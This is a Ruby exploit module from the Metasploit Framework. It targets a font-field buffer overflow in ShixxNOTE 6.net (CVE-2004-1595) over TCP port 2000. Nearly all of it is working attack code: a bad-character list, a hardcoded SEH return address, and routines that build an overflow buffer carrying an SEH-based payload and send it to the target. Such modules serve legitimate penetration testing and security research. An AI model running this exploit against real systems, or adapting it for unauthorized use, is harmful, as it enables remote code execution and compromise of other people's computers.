## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'ShixxNOTE 6.net Font Field Overflow', 'Description' => %q{ This module exploits a buffer overflow in ShixxNOTE 6.net. The vulnerability is caused due to boundary errors in the handling of font fields. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ ['CVE', '2004-1595'], ['BID', '11409'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 650, 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'ShixxNOTE 6.net Universal', { 'Ret' => 0x10041951 } ], ], 'Privileged' => false, 'DisclosureDate' => 'October 4 2004', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(2000) ], self.class) end def exploit connect print_status("Trying target #{target.name}...") sploit = rand_text_alpha_upper(8, payload_badchars) sploit += "~~" sploit += rand_text_alpha_upper(118, payload_badchars) seh = generate_seh_payload(target.ret) sploit[112, seh.length] = seh sploit += rand_text_alpha_upper(200, payload_badchars) sploit += "~" * 10 sock.put(sploit) handler disconnect end end